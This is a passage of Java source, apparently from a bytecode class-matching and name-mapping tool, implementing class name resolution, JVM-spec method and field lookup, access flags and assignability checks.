NameType.LOCTMP_PLAIN;\n\t\tString ret;\n\t\tboolean fromMatched; // name retrieved from matched class\n\n\t\tif (type.mapped && mappedName != null) {\n\t\t\t// MAPPED_*, local name available\n\t\t\tret = mappedName;\n\t\t\tfromMatched = false;\n\t\t} else if (type.mapped && matchedClass != null && matchedClass.mappedName != null) {\n\t\t\t// MAPPED_*, remote name available\n\t\t\tret = matchedClass.mappedName;\n\t\t\tfromMatched = true;\n\t\t} else if (type.mapped && !nameObfuscated) {\n\t\t\t// MAPPED_*, local deobf\n\t\t\tret = getInnerName0(getName());\n\t\t\tfromMatched = false;\n\t\t} else if (type.mapped && matchedClass != null && !matchedClass.nameObfuscated) {\n\t\t\t// MAPPED_*, remote deobf\n\t\t\tret = matchedClass.getInnerName0(matchedClass.getName());\n\t\t\tfromMatched = true;\n\t\t} else if (type.isAux() && auxName != null && auxName.length > type.getAuxIndex() && auxName[type.getAuxIndex()] != null) {\n\t\t\tret = auxName[type.getAuxIndex()];\n\t\t\tfromMatched = false;\n\t\t} else if (type.isAux() && matchedClass != null && matchedClass.auxName != null && matchedClass.auxName.length > type.getAuxIndex() && matchedClass.auxName[type.getAuxIndex()] != null) {\n\t\t\tret = matchedClass.auxName[type.getAuxIndex()];\n\t\t\tfromMatched = true;\n\t\t} else if (type.tmp && matchedClass != null && matchedClass.tmpName != null) {\n\t\t\t// MAPPED_TMP_* with obf name or TMP_*, remote name available\n\t\t\tret = matchedClass.tmpName;\n\t\t\tfromMatched = true;\n\t\t} else if ((type.tmp || locTmp) && tmpName != null) {\n\t\t\t// MAPPED_TMP_* or MAPPED_LOCTMP_* with obf name or TMP_* or LOCTMP_*, local name available\n\t\t\tret = tmpName;\n\t\t\tfromMatched = false;\n\t\t} else if (type.plain) {\n\t\t\tret = getInnerName0(getName());\n\t\t\tfromMatched = false;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\n\t\tassert ret == null || !hasOuterName(ret) : ret;\n\n\t\tif (!includeOuter) return ret;\n\n\t\t/*\n\t\t * ret-outer: whether ret's source has an outer class\n\t\t * this-outer: whether this has an outer class\n\t\t * has outer class -> assume not normal name with pkg, but plain inner class name\n\t\t *\n\t\t * ret-outer this-outer action ret-example this-example result-example\n\t\t * n n ret a/b d/e a/b\n\t\t * n y this.outer+ret.strip-pkg a/b d/e$f d/e$b\n\t\t * y n ret.outer.pkg+ret a/b$c d/e a/c\n\t\t * y y this.outer+ret a/b$c d/e$f d/e$c\n\t\t */\n\n\t\tif (!fromMatched || (outerClass == null) == (matchedClass.outerClass == null)) { // ret-outer == this-outer\n\t\t\treturn outerClass != null ? getNestedName(outerClass.getName(type), ret) : ret;\n\t\t} else if (outerClass != null) { // ret is normal name, strip package from ret before concatenating\n\t\t\treturn getNestedName(outerClass.getName(type), ret.substring(ret.lastIndexOf('/') + 1));\n\t\t} else { // ret is an outer name, restore pkg\n\t\t\tString matchedOuterName = matchedClass.outerClass.getName(type);\n\t\t\tint pkgEnd = matchedOuterName.lastIndexOf('/');\n\t\t\tif (pkgEnd > 0) ret = matchedOuterName.substring(0, pkgEnd + 1).concat(ret);\n\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tprivate String getInnerName0(String name) {\n\t\tif (outerClass == null && (isReal() || !hasOuterName(name))) {\n\t\t\treturn name;\n\t\t} else {\n\t\t\treturn getInnerName(name);\n\t\t}\n\t}\n\n\t@Override\n\tpublic String getDisplayName(NameType type, boolean full) {\n\t\tchar lastChar = id.charAt(id.length() - 1);\n\t\tString ret;\n\n\t\tif (lastChar != ';') { // primitive or primitive array\n\t\t\tswitch (lastChar) {\n\t\t\tcase 'B': ret = \"byte\"; break;\n\t\t\tcase 'C': ret = \"char\"; break;\n\t\t\tcase 'D': ret = \"double\"; break;\n\t\t\tcase 'F': ret = \"float\"; break;\n\t\t\tcase 'I': ret = \"int\"; break;\n\t\t\tcase 'J': ret = \"long\"; break;\n\t\t\tcase 'S': ret = \"short\"; break;\n\t\t\tcase 'V': ret = \"void\"; break;\n\t\t\tcase 'Z': ret = \"boolean\"; break;\n\t\t\tdefault: throw new IllegalStateException(\"invalid class desc: \"+id);\n\t\t\t}\n\t\t} else {\n\t\t\tret = getName(type).replace('/', '.');\n\t\t}\n\n\t\tint dims = getArrayDimensions();\n\n\t\tif (dims > 0) {\n\t\t\tStringBuilder sb;\n\n\t\t\tif (lastChar != ';') { // primitive array, ret is in plain name form from above\n\t\t\t\tassert !ret.startsWith(\"[\") && !ret.endsWith(\";\");\n\n\t\t\t\tsb = new StringBuilder(ret.length() + 2 * dims);\n\t\t\t\tsb.append(ret);\n\t\t\t} else { // reference array, in dot separated id form\n\t\t\t\tassert ret.startsWith(\"[\") && ret.endsWith(\";\");\n\n\t\t\t\tsb = new StringBuilder(ret.length() + dims - 2);\n\t\t\t\tsb.append(ret, dims + 1, ret.length() - 1);\n\t\t\t}\n\n\t\t\tfor (int i = 0; i < dims; i++) {\n\t\t\t\tsb.append(\"[]\");\n\t\t\t}\n\n\t\t\tret = sb.toString();\n\t\t}\n\n\t\treturn full ? ret : ret.substring(ret.lastIndexOf('.') + 1);\n\t}\n\n\tpublic boolean isReal() {\n\t\treturn origin != null;\n\t}\n\n\tpublic URI getOrigin() {\n\t\treturn origin;\n\t}\n\n\t@Override\n\tpublic Matchable<?> getOwner() {\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic ClassEnv getEnv() {\n\t\treturn env;\n\t}\n\n\tpublic ClassNode[] getAsmNodes() {\n\t\treturn asmNodes;\n\t}\n\n\tpublic URI getAsmNodeOrigin(int index) {\n\t\tif (index < 0 || index > 0 && (asmNodeOrigins == null || index >= asmNodeOrigins.length)) throw new IndexOutOfBoundsException(index);\n\n\t\treturn index == 0 ? origin : asmNodeOrigins[index];\n\t}\n\n\tpublic ClassNode getMergedAsmNode() {\n\t\tif (asmNodes == null) return null;\n\t\tif (asmNodes.length == 1) return asmNodes[0];\n\n\t\treturn asmNodes[0]; // TODO: actually merge\n\t}\n\n\tvoid addAsmNode(ClassNode node, URI origin) {\n\t\tif (!input) throw new IllegalStateException(\"not mergeable\");\n\n\t\tasmNodes = Arrays.copyOf(asmNodes, asmNodes.length + 1);\n\t\tasmNodes[asmNodes.length - 1] = node;\n\n\t\tif (asmNodeOrigins == null) {\n\t\t\tasmNodeOrigins = new URI[2];\n\t\t\tasmNodeOrigins[0] = this.origin;\n\t\t} else {\n\t\t\tasmNodeOrigins = Arrays.copyOf(asmNodeOrigins, asmNodeOrigins.length + 1);\n\t\t}\n\n\t\tasmNodeOrigins[asmNodeOrigins.length - 1] = origin;\n\t}\n\n\t@Override\n\tpublic boolean hasPotentialMatch() {\n\t\tif (matchedClass != null) return true;\n\t\tif (!isMatchable()) return false;\n\n\t\tfor (ClassInstance o : env.getOther().getClasses()) {\n\t\t\tif (o.isReal() && ClassifierUtil.checkPotentialEquality(this, o)) return true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\t@Override\n\tpublic boolean isMatchable() {\n\t\treturn matchable;\n\t}\n\n\t@Override\n\tpublic boolean setMatchable(boolean matchable) {\n\t\tif (!matchable && matchedClass != null) return false;\n\n\t\tthis.matchable = matchable;\n\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic ClassInstance getMatch() {\n\t\treturn matchedClass;\n\t}\n\n\tpublic void setMatch(ClassInstance cls) {\n\t\tassert cls == null || isMatchable();\n\t\tassert cls == null || cls.getEnv() != env && !cls.getEnv().isShared();\n\n\t\tthis.matchedClass = cls;\n\t}\n\n\t@Override\n\tpublic boolean isFullyMatched(boolean recursive) {\n\t\tif (matchedClass == null) return false;\n\n\t\tfor (MethodInstance m : methods) {\n\t\t\tif (m.hasPotentialMatch() && (!m.hasMatch() || recursive && !m.isFullyMatched(true))) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tfor (FieldInstance m : fields) {\n\t\t\tif (m.hasPotentialMatch() && (!m.hasMatch() || recursive && !m.isFullyMatched(true))) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic float getSimilarity() {\n\t\tif (matchedClass == null) return 0;\n\n\t\treturn SimilarityChecker.compare(this, matchedClass);\n\t}\n\n\t@Override\n\tpublic boolean isNameObfuscated() {\n\t\treturn nameObfuscated;\n\t}\n\n\tpublic boolean isInput() {\n\t\treturn input;\n\t}\n\n\tpublic ClassInstance getElementClass() {\n\t\tif (!isArray()) throw new IllegalStateException(\"not applicable to non-array\");\n\n\t\treturn elementClass;\n\t}\n\n\tpublic ClassInstance getElementClassShallow(boolean create) {\n\t\tif (!isArray()) throw new IllegalStateException(\"not applicable to non-array\");\n\n\t\tint dims = getArrayDimensions();\n\t\tif (dims <= 1) return elementClass;\n\n\t\tString retId = id.substring(1);\n\n\t\treturn create ? env.getCreateClassInstance(retId) : env.getClsById(retId);\n\t}\n\n\tpublic ClassSignature getSignature() {\n\t\treturn signature;\n\t}\n\n\tvoid setSignature(ClassSignature signature) {\n\t\tthis.signature = signature;\n\t}\n\n\tpublic boolean isPrimitive() {\n\t\tchar start = id.charAt(0);\n\n\t\treturn start != 'L' && start != '[';\n\t}\n\n\tpublic int getSlotSize() {\n\t\tchar start = id.charAt(0);\n\n\t\treturn (start == 'D' || start == 'J') ? 2 : 1;\n\t}\n\n\tpublic boolean isArray() {\n\t\treturn elementClass != null;\n\t}\n\n\tpublic int getArrayDimensions() {\n\t\tif (elementClass == null) return 0;\n\n\t\tfor (int i = 0; i < id.length(); i++) {\n\t\t\tif (id.charAt(i) != '[') return i;\n\t\t}\n\n\t\tthrow new IllegalStateException(\"invalid id: \"+id);\n\t}\n\n\tpublic ClassInstance[] getArrays() {\n\t\treturn arrays;\n\t}\n\n\tprivate void addArray(ClassInstance cls) {\n\t\tassert !Arrays.asList(arrays).contains(cls);\n\n\t\tarrays = Arrays.copyOf(arrays, arrays.length + 1);\n\t\tarrays[arrays.length - 1] = cls;\n\t}\n\n\tpublic int getAccess() {\n\t\tint ret;\n\n\t\tif (asmNodes != null) {\n\t\t\tret = asmNodes[0].access;\n\n\t\t\tif (superClass != null && superClass.id.equals(\"Ljava/lang/Record;\")) { // ACC_RECORD is added by ASM through Record component attribute presence, don't trust the flag to handle stripping of the attribute\n\t\t\t\tret |= Opcodes.ACC_RECORD;\n\t\t\t}\n\t\t} else {\n\t\t\tret = Opcodes.ACC_PUBLIC;\n\n\t\t\tif (!implementers.isEmpty()) {\n\t\t\t\tret |= Opcodes.ACC_INTERFACE | Opcodes.ACC_ABSTRACT;\n\t\t\t} else if (superClass != null && superClass.id.equals(\"Ljava/lang/Enum;\")) {\n\t\t\t\tret |= Opcodes.ACC_ENUM;\n\t\t\t\tif (childClasses.isEmpty()) ret |= Opcodes.ACC_FINAL;\n\t\t\t} else if (superClass != null && superClass.id.equals(\"Ljava/lang/Record;\")) {\n\t\t\t\tret |= Opcodes.ACC_RECORD;\n\t\t\t\tif (childClasses.isEmpty()) ret |= Opcodes.ACC_FINAL;\n\t\t\t} else if (interfaces.size() == 1 && interfaces.iterator().next().id.equals(\"Ljava/lang/annotation/Annotation;\")) {\n\t\t\t\tret |= Opcodes.ACC_ANNOTATION | Opcodes.ACC_INTERFACE | Opcodes.ACC_ABSTRACT;\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\tpublic boolean isInterface() {\n\t\treturn (getAccess() & Opcodes.ACC_INTERFACE) != 0;\n\t}\n\n\tpublic boolean isEnum() {\n\t\treturn (getAccess() & Opcodes.ACC_ENUM) != 0;\n\t}\n\n\tpublic boolean isAnnotation() {\n\t\treturn (getAccess() & Opcodes.ACC_ANNOTATION) != 0;\n\t}\n\n\tpublic boolean isRecord() {\n\t\treturn (getAccess() & Opcodes.ACC_RECORD) != 0 || superClass != null && superClass.id.equals(\"Ljava/lang/Record;\");\n\t}\n\n\tpublic MethodInstance getMethod(String id) {\n\t\treturn methodIdx.get(id);\n\t}\n\n\tpublic FieldInstance getField(String id) {\n\t\treturn fieldIdx.get(id);\n\t}\n\n\tpublic MethodInstance getMethod(String name, String desc) {\n\t\tif (desc != null) {\n\t\t\treturn methodIdx.get(MethodInstance.getId(name, desc));\n\t\t} else {\n\t\t\tMethodInstance ret = null;\n\n\t\t\tfor (MethodInstance method : methods) {\n\t\t\t\tif (method.origName.equals(name)) {\n\t\t\t\t\tif (ret != null) return null; // non-unique\n\n\t\t\t\t\tret = method;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tpublic MethodInstance getMethod(String name, String desc, NameType nameType) {\n\t\tif (nameType == NameType.PLAIN) return getMethod(name, desc);\n\n\t\tMethodInstance ret = null;\n\n\t\tmethodLoop: for (MethodInstance method : methods) {\n\t\t\tString mappedName = method.getName(nameType);\n\n\t\t\tif (mappedName == null || !name.equals(mappedName)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (desc != null) {\n\t\t\t\tassert desc.startsWith(\"(\");\n\t\t\t\tint idx = 0;\n\t\t\t\tint pos = 1;\n\t\t\t\tboolean last = false;\n\n\t\t\t\tdo {\n\t\t\t\t\tchar c = desc.charAt(pos);\n\t\t\t\t\tClassInstance match;\n\n\t\t\t\t\tif (c == ')') {\n\t\t\t\t\t\tif (idx != method.args.length) continue methodLoop;\n\t\t\t\t\t\tlast = true;\n\t\t\t\t\t\tpos++;\n\t\t\t\t\t\tc = desc.charAt(pos);\n\t\t\t\t\t\tmatch = method.retType;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (idx >= method.args.length) continue methodLoop;\n\t\t\t\t\t\tmatch = method.args[idx].type;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (c == '[') { // array cls\n\t\t\t\t\t\tint dims = 1;\n\t\t\t\t\t\twhile ((c = desc.charAt(++pos)) == '[') dims++;\n\n\t\t\t\t\t\tif (match.getArrayDimensions() != dims) continue methodLoop;\n\t\t\t\t\t\tmatch = match.elementClass;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (match.isArray()) continue methodLoop;\n\t\t\t\t\t}\n\n\t\t\t\t\tint end;\n\n\t\t\t\t\tif (c != 'L') { // primitive cls\n\t\t\t\t\t\tend = pos + 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tend = desc.indexOf(';', pos + 1) + 1;\n\t\t\t\t\t\tassert end != 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tString clsMappedName = match.getName(nameType);\n\t\t\t\t\tif (clsMappedName == null) continue methodLoop;\n\n\t\t\t\t\tif (c != 'L') {\n\t\t\t\t\t\tif (clsMappedName.length() != end - pos || !desc.startsWith(clsMappedName, pos)) continue methodLoop;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (clsMappedName.length() != end - pos - 2 || !desc.startsWith(clsMappedName, pos + 1)) continue methodLoop;\n\t\t\t\t\t}\n\n\t\t\t\t\tpos = end;\n\t\t\t\t\tidx++;\n\t\t\t\t} while (!last);\n\t\t\t}\n\n\t\t\tif (ret != null) return null; // non-unique\n\n\t\t\tret = method;\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\tpublic FieldInstance getField(String name, String desc) {\n\t\tif (desc != null) {\n\t\t\treturn fieldIdx.get(FieldInstance.getId(name, desc));\n\t\t} else {\n\t\t\tFieldInstance ret = null;\n\n\t\t\tfor (FieldInstance field : fields) {\n\t\t\t\tif (field.origName.equals(name)) {\n\t\t\t\t\tif (ret != null) return null; // non-unique\n\n\t\t\t\t\tret = field;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tpublic FieldInstance getField(String name, String desc, NameType nameType) {\n\t\tif (nameType == NameType.PLAIN) return getField(name, desc);\n\n\t\tFieldInstance ret = null;\n\n\t\tfor (FieldInstance field : fields) {\n\t\t\tString mappedName = field.getName(nameType);\n\n\t\t\tif (mappedName == null || !name.equals(mappedName)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (desc != null) {\n\t\t\t\tString clsMappedName = field.type.getName(nameType);\n\t\t\t\tif (clsMappedName == null) continue;\n\n\t\t\t\tif (desc.startsWith(\"[\") || !desc.endsWith(\";\")) {\n\t\t\t\t\tif (!desc.equals(clsMappedName)) continue;\n\t\t\t\t} else {\n\t\t\t\t\tif (desc.length() != clsMappedName.length() + 2 || !desc.startsWith(clsMappedName, 1)) continue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (ret != null) return null; // non-unique\n\n\t\t\tret = field;\n\t\t}\n\n\t\treturn ret;\n\t}\n\n\tpublic MethodInstance resolveMethod(String name, String desc, boolean toInterface) {\n\t\t// toInterface = false: https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-5.html#jvms-5.4.3.3\n\t\t// toInterface = true: https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-5.html#jvms-5.4.3.4\n\t\t// TODO: access check after resolution\n\n\t\tassert asmNodes == null || isInterface() == toInterface;\n\n\t\tif (!toInterface) {\n\t\t\tMethodInstance ret = resolveSignaturePolymorphicMethod(name);\n\t\t\tif (ret != null) return ret;\n\n\t\t\tret = getMethod(name, desc);\n\t\t\tif (ret != null) return ret; // <this> is unconditional\n\n\t\t\tClassInstance cls = this;\n\n\t\t\twhile ((cls = cls.superClass) != null) {\n\t\t\t\tret = cls.resolveSignaturePolymorphicMethod(name);\n\t\t\t\tif (ret != null) return ret;\n\n\t\t\t\tret = cls.getMethod(name, desc);\n\t\t\t\tif (ret != null) return ret;\n\t\t\t}\n\n\t\t\treturn resolveInterfaceMethod(name, desc);\n\t\t} else {\n\t\t\tMethodInstance ret = getMethod(name, desc);\n\t\t\tif (ret != null) return ret; // <this> is unconditional\n\n\t\t\tif (superClass != null) {\n\t\t\t\tassert superClass.id.equals(\"Ljava/lang/Object;\");\n\n\t\t\t\tret = superClass.getMethod(name, desc);\n\t\t\t\tif (ret != null && (!ret.isReal() || (ret.access & (Opcodes.ACC_PUBLIC | Opcodes.ACC_STATIC)) == Opcodes.ACC_PUBLIC)) return ret;\n\t\t\t}\n\n\t\t\treturn resolveInterfaceMethod(name, desc);\n\t\t}\n\t}\n\n\tprivate MethodInstance resolveSignaturePolymorphicMethod(String name) {\n\t\tif (id.equals(\"Ljava/lang/invoke/MethodHandle;\")) { // check for signature polymorphic method - jvms-2.9\n\t\t\tMethodInstance ret = getMethod(name, \"([Ljava/lang/Object;)Ljava/lang/Object;\");\n\t\t\tfinal int reqFlags = Opcodes.ACC_VARARGS | Opcodes.ACC_NATIVE;\n\n\t\t\tif (ret != null && (!ret.isReal() || (ret.access & reqFlags) == reqFlags)) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tprivate MethodInstance resolveInterfaceMethod(String name, String desc) {\n\t\tQueue<ClassInstance> queue = new ArrayDeque<>();\n\t\tSet<ClassInstance> queued = Util.newIdentityHashSet();\n\t\tClassInstance cls = this;\n\n\t\tdo {\n\t\t\tfor (ClassInstance ifCls : cls.interfaces) {\n\t\t\t\tif (queued.add(ifCls)) queue.add(ifCls);\n\t\t\t}\n\t\t} while ((cls = cls.superClass) != null);\n\n\t\tif (queue.isEmpty()) return null;\n\n\t\tSet<MethodInstance> matches = Util.newIdentityHashSet();\n\t\tboolean foundNonAbstract = false;\n\n\t\twhile ((cls = queue.poll()) != null) {\n\t\t\tMethodInstance ret = cls.getMethod(name, desc);\n\n\t\t\tif (ret != null\n\t\t\t\t\t&& (!ret.isReal() || (ret.access & (Opcodes.ACC_PRIVATE | Opcodes.ACC_STATIC)) == 0)) {\n\t\t\t\tmatches.add(ret);\n\n\t\t\t\tif (ret.isReal() && (ret.access & Opcodes.ACC_ABSTRACT) == 0) { // jvms prefers the closest non-abstract method\n\t\t\t\t\tfoundNonAbstract = true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (ClassInstance ifCls : cls.interfaces) {\n\t\t\t\tif (queued.add(ifCls)) queue.add(ifCls);\n\t\t\t}\n\t\t}\n\n\t\tif (matches.isEmpty()) return null;\n\t\tif (matches.size() == 1) return matches.iterator().next();\n\n\t\t// non-abstract methods take precedence over non-abstract methods, remove all abstract ones if there's at least 1 non-abstract\n\n\t\tif (foundNonAbstract) {\n\t\t\tfor (Iterator<MethodInstance> it = matches.iterator(); it.hasNext(); ) {\n\t\t\t\tMethodInstance m = it.next();\n\n\t\t\t\tif (!m.isReal() || (m.access & Opcodes.ACC_ABSTRACT) != 0) {\n\t\t\t\t\tit.remove();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tassert !matches.isEmpty();\n\t\t\tif (matches.size() == 1) return matches.iterator().next();\n\t\t}\n\n\t\t// eliminate not maximally specific method declarations, i.e. those that have a child method in matches\n\n\t\tfor (Iterator<MethodInstance> it = matches.iterator(); it.hasNext(); ) {\n\t\t\tMethodInstance m = it.next();\n\n\t\t\tcmpLoop: for (MethodInstance m2 : matches) {\n\t\t\t\tif (m2 == m) continue;\n\n\t\t\t\tif (m2.cls.interfaces.contains(m.cls)) { // m2 is a direct child of m, so m isn't maximally specific\n\t\t\t\t\tit.remove();\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tqueue.addAll(m2.cls.interfaces);\n\n\t\t\t\twhile ((cls = queue.poll()) != null) {\n\t\t\t\t\tif (cls.interfaces.contains(m.cls)) { // m2 is an indirect child of m, so m isn't maximally specific\n\t\t\t\t\t\tit.remove();\n\t\t\t\t\t\tqueue.clear();\n\t\t\t\t\t\tbreak cmpLoop;\n\t\t\t\t\t}\n\n\t\t\t\t\tqueue.addAll(cls.interfaces);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// return an arbitrary choice\n\n\t\treturn matches.iterator().next();\n\t}\n\n\tpublic FieldInstance resolveField(String name, String desc) {\n\t\tFieldInstance ret = getField(name, desc);\n\t\tif (ret != null) return ret;\n\n\t\tif (!interfaces.isEmpty()) {\n\t\t\tDeque<ClassInstance> queue = new ArrayDeque<>();\n\t\t\tqueue.addAll(interfaces);\n\t\t\tClassInstance cls;\n\n\t\t\twhile ((cls = queue.pollFirst()) != null) {\n\t\t\t\tret = cls.getField(name, desc);\n\t\t\t\tif (ret != null) return ret;\n\n\t\t\t\tfor (ClassInstance iface : cls.interfaces) {\n\t\t\t\t\tqueue.addFirst(iface);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tClassInstance cls = superClass;\n\n\t\twhile (cls != null) {\n\t\t\tret = cls.getField(name, desc);\n\t\t\tif (ret != null) return ret;\n\n\t\t\tcls = cls.superClass;\n\t\t}\n\n\t\treturn null;\n\t}\n\n\tpublic MethodInstance getMethod(int pos) {\n\t\tif (pos < 0 || pos >= methods.length) throw new IndexOutOfBoundsException();\n\t\tif (asmNodes == null) throw new UnsupportedOperationException();\n\n\t\treturn methods[pos];\n\t}\n\n\tpublic FieldInstance getField(int pos) {\n\t\tif (pos < 0 || pos >= fields.length) throw new IndexOutOfBoundsException();\n\t\tif (asmNodes == null) throw new UnsupportedOperationException();\n\n\t\treturn fields[pos];\n\t}\n\n\tpublic MethodInstance[] getMethods() {\n\t\treturn methods;\n\t}\n\n\tpublic FieldInstance[] getFields() {\n\t\treturn fields;\n\t}\n\n\tpublic ClassInstance getOuterClass() {\n\t\treturn outerClass;\n\t}\n\n\tpublic Set<ClassInstance> getInnerClasses() {\n\t\treturn innerClasses;\n\t}\n\n\tpublic ClassInstance getSuperClass() {\n\t\treturn superClass;\n\t}\n\n\tpublic Set<ClassInstance> getChildClasses() {\n\t\treturn childClasses;\n\t}\n\n\tpublic Set<ClassInstance> getInterfaces() {\n\t\treturn interfaces;\n\t}\n\n\tpublic Set<ClassInstance> getImplementers() {\n\t\treturn implementers;\n\t}\n\n\tpublic Set<MethodInstance> getMethodTypeRefs() {\n\t\treturn methodTypeRefs;\n\t}\n\n\tpublic Set<FieldInstance> getFieldTypeRefs() {\n\t\treturn fieldTypeRefs;\n\t}\n\n\tpublic Set<String> getStrings() {\n\t\treturn strings;\n\t}\n\n\tpublic boolean isShared() {\n\t\treturn matchedClass == this;\n\t}\n\n\t@Override\n\tpublic boolean hasLocalTmpName() {\n\t\treturn tmpName != null;\n\t}\n\n\tpublic void setTmpName(String tmpName) {\n\t\tthis.tmpName = tmpName;\n\t}\n\n\t@Override\n\tpublic int getUid() {\n\t\tif (uid >= 0) {\n\t\t\tif (matchedClass != null && matchedClass.uid >= 0) {\n\t\t\t\treturn Math.min(uid, matchedClass.uid);\n\t\t\t} else {\n\t\t\t\treturn uid;\n\t\t\t}\n\t\t} else if (matchedClass != null) {\n\t\t\treturn matchedClass.uid;\n\t\t} else {\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\tpublic void setUid(int uid) {\n\t\tthis.uid = uid;\n\t}\n\n\t@Override\n\tpublic boolean hasMappedName() {\n\t\treturn mappedName != null\n\t\t\t\t|| matchedClass != null && matchedClass.mappedName != null\n\t\t\t\t|| elementClass != null && elementClass.hasMappedName()\n\t\t\t\t/*|| outerClass != null && outerClass.hasMappedName() TODO: for anonymous only?*/;\n\t}\n\n\tpublic boolean hasNoFullyMappedName() {\n\t\tassert elementClass == null || outerClass == null; // array classes can't have an outer class\n\n\t\treturn outerClass != null\n\t\t\t\t&& mappedName == null\n\t\t\t\t&& (matchedClass == null || matchedClass.mappedName == null);\n\t}\n\n\tpublic void setMappedName(String mappedName) {\n\t\tassert mappedName == null || !hasOuterName(mappedName);\n\n\t\tthis.mappedName = mappedName;\n\t}\n\n\t@Override\n\tpublic String getMappedComment() {\n\t\tif (mappedComment != null) {\n\t\t\treturn mappedComment;\n\t\t} else if (matchedClass != null) {\n\t\t\treturn matchedClass.mappedComment;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t@Override\n\tpublic void setMappedComment(String comment) {\n\t\tif (comment != null && comment.isEmpty()) comment = null;\n\n\t\tthis.mappedComment = comment;\n\t}\n\n\t@Override\n\tpublic boolean hasAuxName(int index) {\n\t\treturn auxName != null && auxName.length > index && auxName[index] != null;\n\t}\n\n\tpublic void setAuxName(int index, String name) {\n\t\tassert name == null || !hasOuterName(name);\n\n\t\tif (this.auxName == null) this.auxName = new String[NameType.AUX_COUNT];\n\t\tthis.auxName[index] = name;\n\t}\n\n\tpublic boolean isAssignableFrom(ClassInstance c) {\n\t\tif (c == this) return true;\n\t\tif (isPrimitive()) return false;\n\n\t\tif (!isInterface()) {\n\t\t\tClassInstance sc = c;\n\n\t\t\twhile ((sc = sc.superClass) != null) {\n\t\t\t\tif (sc == this) return true;\n\t\t\t}\n\t\t} else {\n\t\t\tif (implementers.isEmpty()) return false;\n\n\t\t\t// check if c directly implements this\n\t\t\tif (implementers.contains(c)) return true;\n\n\t\t\t// check if a superclass of c directly implements this\n\t\t\tClassInstance sc = c;\n\n\t\t\twhile ((sc = sc.superClass) != null) {\n\t\t\t\tif (implementers.contains(sc)) return true; // cls -> this\n\t\t\t}\n\n\t\t\t// check if c or a superclass of c implements this with one indirection\n\t\t\tsc = c;\n\t\t\tQueue<ClassInstance> toCheck = null;\n\n\t\t\tdo {\n\t\t\t\tfor (ClassInstance iface : sc.getInterfaces()) {\n\t\t\t\t\tassert iface != this; // already checked iface directly\n\t\t\t\t\tif (iface.interfaces.isEmpty()) continue;\n\t\t\t\t\tif (implementers.contains(iface)) return true; // cls -> if -> this\n\n\t\t\t\t\tif (toCheck == null) toCheck = new ArrayDeque<>();\n\n\t\t\t\t\ttoCheck.addAll(iface.interfaces);\n\t\t\t\t}\n\t\t\t} while ((sc = sc.superClass) != null);\n\n\t\t\t// check if c or a superclass of c implements this with multiple indirections\n\t\t\tif (toCheck != null) {\n\t\t\t\twhile ((sc = toCheck.poll()) != null) {\n\t\t\t\t\tfor (ClassInstance iface : sc.getInterfaces()) {\n\t\t\t\t\t\tassert iface != this; // already checked\n\n\t\t\t\t\t\tif (implementers.contains(iface)) return true;\n\n\t\t\t\t\t\ttoCheck.addAll(iface.interfaces);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tpublic ClassInstance getCommonSuperClass(ClassInstance o) {\n\t\tif (o == this) return this;\n\t\tif (isPrimitive() || o.isPrimitive()) return null;\n\t\tif (isAssignableFrom(o)) return this;\n\t\tif (o.isAssignableFrom(this)) return o;\n\n\t\tClassInstance objCls = env.getCreateClassInstance(\"Ljava/lang/Object;\");\n\n\t\tif (!isInterface() && !o.isInterface()) {\n\t\t\tClassInstance sc = this;\n\n\t\t\twhile ((sc = sc.superClass) != null && sc != objCls) {\n\t\t\t\tif (sc.isAssignableFrom(o)) return sc;\n\t\t\t}\n\t\t}\n\n\t\tif (!interfaces.isEmpty() || !o.interfaces.isEmpty()) {\n\t\t\tList<ClassInstance> ret = new ArrayList<>();\n\t\t\tQueue<ClassInstance> toCheck = new ArrayDeque<>();\n\t\t\tSet<ClassInstance> checked = Util.newIdentityHashSet();\n\t\t\ttoCheck.addAll(interfaces);\n\t\t\ttoCheck.addAll(o.interfaces);\n\n\t\t\tClassInstance cls;\n\n\t\t\twhile ((cls = toCheck.poll()) != null) {\n\t\t\t\tif (!checked.add(cls)) continue;\n\n\t\t\t\tif (cls.isAssignableFrom(o)) {\n\t\t\t\t\tret.add(cls);\n\t\t\t\t} else {\n\t\t\t\t\ttoCheck.addAll(cls.interfaces);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!ret.isEmpty()) {\n\t\t\t\tif (ret.size() >= 1) {\n\t\t\t\t\tfor (Iterator<ClassInstance> it = ret.iterator(); it.hasNext(); ) {\n\t\t\t\t\t\tcls = it.next();\n\n\t\t\t\t\t\tfor 